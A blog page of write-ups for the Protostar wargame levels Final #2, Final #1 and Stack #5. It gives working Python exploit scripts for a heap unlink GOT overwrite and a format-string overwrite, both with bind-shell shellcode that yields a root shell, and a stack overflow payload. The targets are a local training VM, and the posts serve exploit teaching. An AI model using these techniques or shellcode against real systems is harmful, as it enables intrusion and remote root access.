Showing posts with label shellcode. Show all posts
Showing posts with label shellcode. Show all posts

Saturday, February 14, 2015

Protostar - Final #2

About:

This is the last level of the Protostar series. (link)


Source Code:




Solution:

It took me a while just to find the vulnerability here. There's not a description of what the code is doing, so it took some time just to understand what was going on.

One thing that still doesn't make sense is that the destroylist array is never set to anything before it's used in the free call on line 57. You can see buf is set to the return address of calloc on line 45, but it's destroylist that is freed, not buf!

I kept going, assuming a "destroylist[dll] = buf" line was left out somewhere...

I started out by messing around to see if I could cause a crash or hang somewhere:

$ python -c "print 'FSRD' + 'x'*118 + '/ROOT/'" | nc 127.0.0.1 2993
Process OK
Process OK

$ python -c "print 'FSRD' + 'x'*116 + '/ROOT/'" | nc 127.0.0.1 2993
Process OK

$ python -c "print 'FSRD' + 'x'*117 + '/ROOT/'" | nc 127.0.0.1 2993
^C (hangs)

$ python -c "print '/'*128 + 'FSRD' + 'x'*117 + '/ROOT/'" | nc 127.0.0.1 2993
Process OK

Why doesn't this trigger the printf statement? oh... "Process OK" is coming from a write call... printf is going somewhere else...

Eventually I got it to crash and leave a coredump in /tmp/ with the following input:

$ python -c "print 'FSRD' + 'a'*124 + 'FSRD' + 'x'*117 + '/ROOT/'" | nc 127.0.0.1 2993

Loading the coredump:

root@protostar:/tmp# gdb /opt/protostar/bin/final2 core.11.final2.1919 
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/final2...done.

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `/opt/protostar/bin/final2'.
Program terminated with signal 11, Segmentation fault.
#0  strlen () at ../sysdeps/i386/i486/strlen.S:69
69 ../sysdeps/i386/i486/strlen.S: No such file or directory.
in ../sysdeps/i386/i486/strlen.S


(gdb) i r
eax            0x0 0
ecx            0x0 0
edx            0x0 0
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff7fc 0xbffff7fc
ebp            0xbffff828 0xbffff828
esi            0x0 0
edi            0x0 0
eip            0xb7f0a313 0xb7f0a313 <strlen+51>
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Unfortunately, this seems to be crashing during the strlen call...

Since we know this is a heap vulnerability, it would be good if we could get it to crash during the free call, which should give us the ability to eventually work it into an arbitrary write using the something like the 'unlink' trick from the earlier heap levels.

Now let's try something like this:

# python -c "print 'FSRD' + 'a'*123 + '/' + 'FSRD' + 'ROOT' + '/' + 'a'*119" | nc 127.0.0.1 2993
Process OK

a coredump is made:

root@protostar:/tmp# gdb /opt/protostar/bin/final2 core.11.final2.2065 
...
Program terminated with signal 11, Segmentation fault.
#0  0x0804aabf in free (mem=0x804e008) at final2/../common/malloc.c:3643

Nice!

Ok, so we're now failing in the call to free.

Now we just have to work it into something that will let us write to an arbitrary address.

Let's first find what object in the GOT we'll try to overwrite....

root@protostar:/tmp# objdump -R /opt/protostar/bin/final2 

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804d3d8 R_386_GLOB_DAT    __gmon_start__
0804d4c0 R_386_COPY        stderr
0804d4c4 R_386_COPY        __environ
0804d4c8 R_386_COPY        stdin
0804d4e0 R_386_COPY        stdout
0804d3e8 R_386_JUMP_SLOT   __errno_location
0804d3ec R_386_JUMP_SLOT   srand
0804d3f0 R_386_JUMP_SLOT   open
0804d3f4 R_386_JUMP_SLOT   mmap
0804d3f8 R_386_JUMP_SLOT   setgroups
0804d3fc R_386_JUMP_SLOT   getpid
0804d400 R_386_JUMP_SLOT   strerror
0804d404 R_386_JUMP_SLOT   daemon
0804d408 R_386_JUMP_SLOT   sysconf
0804d40c R_386_JUMP_SLOT   err
0804d410 R_386_JUMP_SLOT   signal
0804d414 R_386_JUMP_SLOT   __gmon_start__
0804d418 R_386_JUMP_SLOT   mremap
0804d41c R_386_JUMP_SLOT   write
0804d420 R_386_JUMP_SLOT   listen
0804d424 R_386_JUMP_SLOT   memset
0804d428 R_386_JUMP_SLOT   __libc_start_main
0804d42c R_386_JUMP_SLOT   wait
0804d430 R_386_JUMP_SLOT   htons
0804d434 R_386_JUMP_SLOT   read
0804d438 R_386_JUMP_SLOT   setresuid
0804d43c R_386_JUMP_SLOT   setresgid
0804d440 R_386_JUMP_SLOT   sbrk
0804d444 R_386_JUMP_SLOT   accept
0804d448 R_386_JUMP_SLOT   socket
0804d44c R_386_JUMP_SLOT   dup2
0804d450 R_386_JUMP_SLOT   memcpy
0804d454 R_386_JUMP_SLOT   strlen
0804d458 R_386_JUMP_SLOT   asprintf
0804d45c R_386_JUMP_SLOT   printf
0804d460 R_386_JUMP_SLOT   bind
0804d464 R_386_JUMP_SLOT   close
0804d468 R_386_JUMP_SLOT   fwrite
0804d46c R_386_JUMP_SLOT   fprintf
0804d470 R_386_JUMP_SLOT   strstr
0804d474 R_386_JUMP_SLOT   setvbuf
0804d478 R_386_JUMP_SLOT   execve
0804d47c R_386_JUMP_SLOT   rindex
0804d480 R_386_JUMP_SLOT   memmove
0804d484 R_386_JUMP_SLOT   fork
0804d488 R_386_JUMP_SLOT   setsockopt
0804d48c R_386_JUMP_SLOT   rand
0804d490 R_386_JUMP_SLOT   htonl
0804d494 R_386_JUMP_SLOT   strncmp
0804d498 R_386_JUMP_SLOT   munmap
0804d49c R_386_JUMP_SLOT   snprintf
0804d4a0 R_386_JUMP_SLOT   strcmp
0804d4a4 R_386_JUMP_SLOT   exit


We know write will get called after the first free call... what if we try that?

root@protostar:/tmp# objdump -R /opt/protostar/bin/final2  | grep "write"
0804d41c R_386_JUMP_SLOT   write
0804d468 R_386_JUMP_SLOT   fwrite


Let's first go back and take the code from the 3rd heap level (http://secwriteups.blogspot.com/2014/12/protostar-heap-3.html).
**DON'T FORGET YOU NEED TO DEAL WITH NETWORK BYTE ORDER NOW!**

root@protostar:/tmp# python -c "print 'FSRD' + 'a'*123 + '/' + 'FSRD' + 'ROOT' + '/' + '\xf0\xff\xff\xff\xfc\xff\xff\xff'+ 'b'*111" | nc 127.0.0.1 2993
Process OK

root@protostar:/tmp# gdb /opt/protostar/bin/final2 core.11.final2.2205 
...
Program terminated with signal 11, Segmentation fault.
#0  0x0804aaef in free (mem=0x804e008) 

(gdb) x/i $eip
0x804aaef <free+301>: mov    %edx,0xc(%eax)

(gdb) i r
eax            0x62626262 1650614882
ecx            0x804c2d6 134529750
edx            0x62626262 1650614882
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff7e0 0xbffff7e0
ebp            0xbffff828 0xbffff828
esi            0x0 0
edi            0x0 0
eip            0x804aaef 0x804aaef <free+301>
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Looks like we have an arbitrary write!! (with a +0xc offset in the value we will be writing)

let's make sure we control the to/from addresses:

root@protostar:/tmp# python -c "print 'FSRD' + 'a'*123 + '/' + 'FSRD' + 'ROOT' + '/' + '\xf0\xff\xff\xff\xfc\xff\xff\xff'+ 'a'*4 + 'b'*4 + 'c'*108" | nc 127.0.0.1 2993
Process OK

root@protostar:/tmp# gdb /opt/protostar/bin/final2 core.11.final2.2238 
...
Program terminated with signal 11, Segmentation fault.
#0  0x0804aaef in free (mem=0x804e008) at final2/../common/malloc.c:3648
...
(gdb) x/i $eip
0x804aaef <free+301>: mov    %edx,0xc(%eax)

(gdb) i r
eax            0x61616161 1633771873
ecx            0x804c2d6 134529750
edx            0x62626262 1650614882
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff7e0 0xbffff7e0
ebp            0xbffff828 0xbffff828
esi            0x0 0
edi            0x0 0
eip            0x804aaef 0x804aaef <free+301>
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

This looks pretty good!

using the write address from the GOT (0x0804d41c) and subtracting 0xc from it gives the target address 0x0804d410.

root@protostar:/tmp# python -c "print 'FSRD' + 'a'*123 + '/' + 'FSRD' + 'ROOT' + '/' + '\xf0\xff\xff\xff\xfc\xff\xff\xff'+ '\x1c\xd4\x04\x08' + 'aaaa' + 'c'*108" | nc 127.0.0.1 2993
Process OK

root@protostar:/tmp# gdb /opt/protostar/bin/final2 ./core.11.final2.2296 
...
Program terminated with signal 11, Segmentation fault.
#0  0x0804aaf8 in free (mem=0x804e008) at final2/../common/malloc.c:3648
(gdb) x/10x 0x804d41c
0x804d41c <_GLOBAL_OFFSET_TABLE_+64>: 0xb7f53c70 0xb7f63a60 0xb7f0bc60 0x61616161
0x804d42c <_GLOBAL_OFFSET_TABLE_+80>: 0xb7f2d890 0xb7f78be0 0xb7f53c00 0xb7f2efc0
0x804d43c <_GLOBAL_OFFSET_TABLE_+96>: 0xb7f2f040 0xb7f5ab20

Unfortunately, although we can succesfully hit the GOT, using this chunk layout corrupts the heap, causing a crash in a later part of free.

If instead we use 0xfffffffe and 0xfffffffc, we'll be able to get a similar arbitrary write without the previous crash.

The final solution:

#!/usr/bin/env python
#

import socket

HOST = "127.0.0.1"
PORT = 2993

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
            "\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
            "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
            "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
            "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
            "\x0b\xcd\x80"

hdr = "\xfe\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "\x18\xe1\x04\x08"

s.sendall("FSRD" + 'a'*123 + "/")
s.sendall("FSRD" + "ROOT" + 'b'*(119-len(hdr)) + "/" + hdr)
s.sendall('c'*(128-len(shellcode)) + shellcode)

print s.recv(1024)
print s.recv(1024)


s.close()


Running it looks like this:

root@protostar:/tmp# python final2.py 
Process OK
(hangs)

user@protostar:~$ nc 127.0.0.1 4444 
whoami  (<-- typed by me)
root


Thursday, January 1, 2015

Protostar - Final #1

About:

This level is a remote blind format string level. The ‘already written’ bytes can be variable, and is based upon the length of the IP address and port number. (link)


Source Code:




Solution:

It took me an embarrassingly long time just to find the vulnerable code for this one, but eventually I realized the section that could be exploited is the snprintf call on line 17.

I started out just messing around to try to cause a crash, and the first one I got was this:

root@protostar:/tmp# nc 127.0.0.1 2994
[final1] $ username %n%n%n%n%n%n%n%n%n
[final1] $ login 
root@protostar:/tmp# 

In theory, the steps to get code execution from this point on should be similar to many of the earlier format string vulnerabilities levels. 

The first step is to find how far up the stack our buffer is. (Eventually, we'll want to put an address at the start of the buffer and use that as the address of our write operation.)

We can see the values that the %x's pop off the stack by looking at what's logged in /var/log/syslog:

shell commands:
root@protostar:/tmp# nc 127.0.0.1 2994
[final1] $ username aaaaaaaa%x%x%x%x%x%x%x%x%x%x
[final1] $ login a
login failed

syslog:
Nov 26 17:19:23 (none) final1: Login from 127.0.0.1:34596 as [aaaaaaaa8049ee4804a2a0804a220bffffbd6b7fd7ff4bffffa2869676f4c7266206e31206d6f302e3732] with password [a

It looks like we didn't look far enough up the stack here to reach the initial aaaaa's.

Trying again-

shell commands:
[final1] $ username aaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x 
[final1] $ login a
login failed

syslog:
root@protostar:/tmp# tail /var/log/syslog
Nov 26 17:20:36 (none) final1: Login from 127.0.0.1:34597 as [aaaaaaaa8049ee4804a2a0804a220bffffbd6b7fd7ff4bffffa2869676f4c7266206e31206d6f302e3732312e302e3534333a61203739615b2073616161612561616125782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578] with password [a]

There it is.

Now let's align them and get ready to put an address in there so we can trigger a targeted write:

root@protostar:/tmp# nc 127.0.0.1 2994
[final1] $ username aXXXX%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[final1] $ login a
login failed

root@protostar:/tmp# tail /var/log/syslog
[aXXXX8049ee4804a2a0804a220bffffbd6b7fd7ff4bffffa2869676f4c7266206e31206d6f302e3732312e302e3634333a61203230615b207358585858] with password [a]

Ok. The plan the rest of the way will be to get the GOT entry for syslog and overwrite the address stored there with one that points to our shellcode.

First, let's get the address for syslog:

root@protostar:/tmp# objdump -R /opt/protostar/bin/final1  | grep "syslog"
0804a11c R_386_JUMP_SLOT   syslog

Ok, now that we have that, let's start putting together a script that we can eventually turn into one that will trigger the exploit.

#!/usr/bin/env python
#

import socket

HOST = "127.0.0.1"
PORT = 2994

SYSLOG_GOT_ENTRY = "\x1c\xa1\x04\x08"

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
            "\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
            "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
            "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
            "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
            "\x0b\xcd\x80"

shellcode = "x"*len(shellcode)  # temporary to find placement in memory

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

msg = s.recv(1024)
print "resp:", msg

to_send = "username X" + "\x1c\xa1\x04\x08" + "\x1e\xa1\x04\x08" + "aa" + shellcode + "%n%n%n%n%n%n" + "\n"

print "sending", to_send
print "len", len(to_send)
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg

to_send = "login a\n"
print "sending", to_send
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg


to_send = "login a\n"
print "sending", to_send
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg


The "aa" before the shellcode was put in to help with alignment. You can see from the following memory scan that, with those two additional characters, the x's are nicely aligned and we're ready to substitute in the real shellcode:

(gdb) x/100x $ebp
0xbffffbb8: 0xbffffc58 0x080499ef 0xbffffbd6 0x08049f24
0xbffffbc8: 0x00000002 0xb7fffab0 0x69676f6c 0x0061206e
0xbffffbd8: 0xa11c5800 0xa11e0804 0x61610804 0x78787878
0xbffffbe8: 0x78787878 0x78787878 0x78787878 0x78787878
0xbffffbf8: 0x78787878 0x78787878 0x78787878 0x78787878
0xbffffc08: 0x78787878 0x78787878 0x78787878 0x78787878
0xbffffc18: 0x78787878 0x78787878 0x78787878 0x78787878
0xbffffc28: 0x78787878 0x78787878 0x36257878 0x36363334
0xbffffc38: 0x35312578 0x31256e24 0x006e2436 0x00000000
0xbffffc48: 0x00000000 0x00000010 0xb7ff1040 0xb7fd7ff4
0xbffffc58: 0xbffffc88 0x08049b04 0x00000004 0x00000000
0xbffffc68: 0x00000000 0xbffffc88 0xb7ec6365 0xb7ff1040
0xbffffc78: 0x00000004 0xb7fd7ff4 0x08049b20 0x00000000
0xbffffc88: 0xbffffd08 0xb7eadc76 0x00000001 0xbffffd34
0xbffffc98: 0xbffffd3c 0xb7fe1848 0xbffffcf0 0xffffffff
0xbffffca8: 0xb7ffeff4 0x08048822 0x00000001 0xbffffcf0
0xbffffcb8: 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4
0xbffffcc8: 0x00000000 0x00000000 0xbffffd08 0x82c9541d
0xbffffcd8: 0xa888020d 0x00000000 0x00000000 0x00000000
0xbffffce8: 0x00000001 0x08048df0 0x00000000 0xb7ff6210
0xbffffcf8: 0xb7eadb9b 0xb7ffeff4 0x00000001 0x08048df0
0xbffffd08: 0x00000000 0x08048e11 0x08049ab9 0x00000001
0xbffffd18: 0xbffffd34 0x08049b20 0x08049b10 0xb7ff1040
0xbffffd28: 0xbffffd2c 0xb7fff8f8 0x00000001 0xbffffe5e
0xbffffd38: 0x00000000 0xbffffe78 0xbffffe8d 0xbffffe94

Now we know if we can get 0xbffffbe4 (the start of the green, above) to be written in the GOT entry for syslog, our shellcode should get executed.

After adjusting the %__x parameters to get the correct number of "bytes written" to trigger the writing of 0xbffffbe4, we end up with the following script:

#!/usr/bin/env python
#

import socket

HOST = "127.0.0.1"
PORT = 2994

SYSLOG_GOT_ENTRY = "\x1c\xa1\x04\x08"

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
            "\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
            "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
            "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
            "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
            "\x0b\xcd\x80"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

msg = s.recv(1024)
print "resp:", msg

to_send = "username X" + "\x1c\xa1\x04\x08" + "\x1e\xa1\x04\x08" + "aa" + shellcode + "%64364x%15$n" + "%50203x%16$n" + "\n"

print "sending", to_send
print "len", len(to_send)
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg

to_send = "login a\n"
print "sending", to_send
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg


to_send = "login a\n"
print "sending", to_send
s.sendall(to_send)

msg = s.recv(1024)

print "resp:", msg

Here, the shellcode was taken from Metasploit and it makes the server bind to port 4444, listen for incoming connections, and give a shell to whatever connects.

After running the Python script, the first thing I noticed was that it doesn't crash (good sign!).

Running netcat to connect to the backdoor port looks like this:

root@protostar:/tmp# nc localhost 4444
ls  (<-- entered by me)
bin
boot
dev
etc
home
initrd.img
lib
live
lost+found
media
mnt
opt
proc
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
whoami  (<-- entered by me)
root


Saturday, December 20, 2014

Protostar - Stack #5


About:

Stack5 is a standard buffer overflow, this time introducing shellcode. (link)


Source Code:





Solution:

This time, because it's just an introduction to shellcode, we need to supply our own objective & shellcode.

I'll use the 55-byte shellcode example from this blog post: http://www.orkspace.net/software/libShellCode/examples/example_1.c
\xeb\x19\x5e\x31\xc0\x31\xdb\x31\xd2\x89\xf1\x80\xc3\x01\xb0\x04\xb2\x0b\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xe2\xff\xff\xff\x49\x27\x6d\x20\x48\x65\x72\x65\x21\x21\x21
This code will print out the text "I'm Here!!!" and exit.

To have this code get executed, we can fill the buffer with our shellcode, fill up the rest of the buffer with garbage values, and then overwrite the saved return address to point to the start of the buffer.


(gdb) break main
Breakpoint 1 at 0x80483cd: file stack5/stack5.c, line 10.

(gdb) break *0x080483d9 (right after the gets call)
Breakpoint 2 at 0x80483d9: file stack5/stack5.c, line 11.

(gdb) run < /tmp/a (a file filled with "a"s)
Starting program: /opt/protostar/bin/stack5 < /tmp/a
Breakpoint 1, main (argc=1, argv=0xbffff874) at stack5/stack5.c:10
10    stack5/stack5.c: No such file or directory.
    in stack5/stack5.c

(gdb) x/20xg $esp
0xbffff770:    0xb7ec6165b7fd7ff4    0xb7eada75bffff788
0xbffff780:    0x0804958cb7fd7ff4    0x080482c4bffff798
0xbffff790:    0x0804958cb7ff1040    0x08048409bffff7c8
0xbffff7a0:    0xb7fd7ff4b7fd8304    0xbffff7c8080483f0
0xbffff7b0:    0xb7ff1040b7ec6365    0xb7fd7ff4080483fb
0xbffff7c0:    0x00000000080483f0    0xb7eadc76bffff848
0xbffff7d0:    0xbffff87400000001    0xb7fe1848bffff87c
0xbffff7e0:    0xffffffffbffff830    0x08048232b7ffeff4
0xbffff7f0:    0xbffff83000000001    0xb7fffab0b7ff0626
0xbffff800:    0xb7fd7ff4b7fe1b28    0x0000000000000000

(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0xbffff874) at stack5/stack5.c:11
11    in stack5/stack5.c

(gdb) x/20xg $esp
0xbffff770:    0xb7ec6165bffff780    0xb7eada75bffff788
0xbffff780:    0x6161616161616161    0x6161616161616161
0xbffff790:    0x6161616161616161    0x6161616161616161
0xbffff7a0:    0xb7fd7ff4b7fd8300    0xbffff7c8080483f0
0xbffff7b0:    0xb7ff1040b7ec6365    0xb7fd7ff4080483fb
0xbffff7c0:    0x00000000080483f0    0xb7eadc76bffff848
0xbffff7d0:    0xbffff87400000001    0xb7fe1848bffff87c
0xbffff7e0:    0xffffffffbffff830    0x08048232b7ffeff4
0xbffff7f0:    0xbffff83000000001    0xb7fffab0b7ff0626
0xbffff800:    0xb7fd7ff4b7fe1b28    0x0000000000000000


Ok this looks good. We know our buffer is starting at 0xbffff780.

We know from before, we need 76 bytes between the start of the buffer and the value we want to overwrite the saved EIP with.

Using the shellcode from above, we need 33 more padding bytes in order to get our return address correct:

python -c "print '\xeb\x19\x5e\x31\xc0\x31\xdb\x31\xd2\x89\xf1\x80\xc3\x01\xb0\x04\xb2\x0b\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xe2\xff\xff\xff\x49\x27\x6d\x20\x48\x65\x72\x65\x21\x21\x21' + 'a'*33 + '\xbf\xff\xf7\x70'[::-1]" > /tmp/sc

Once we have our buffer saved in /tmp/sc, we can run stack5 and send the contents of /tmp/sc through stdin.

user@protostar:/opt/protostar/bin$ cat /tmp/sc | /opt/protostar/bin/stack5
I'm Here!!!

That's it!

One thing that I haven't fully figured out is what changes when you call stack5 via a relative path instead of an absolute path.

For example, running the line above works, but running cat /tmp/sc | ./stack5 will give a segfault. This lost me about a half-hour and I'll try to come back to this later if I figure it out.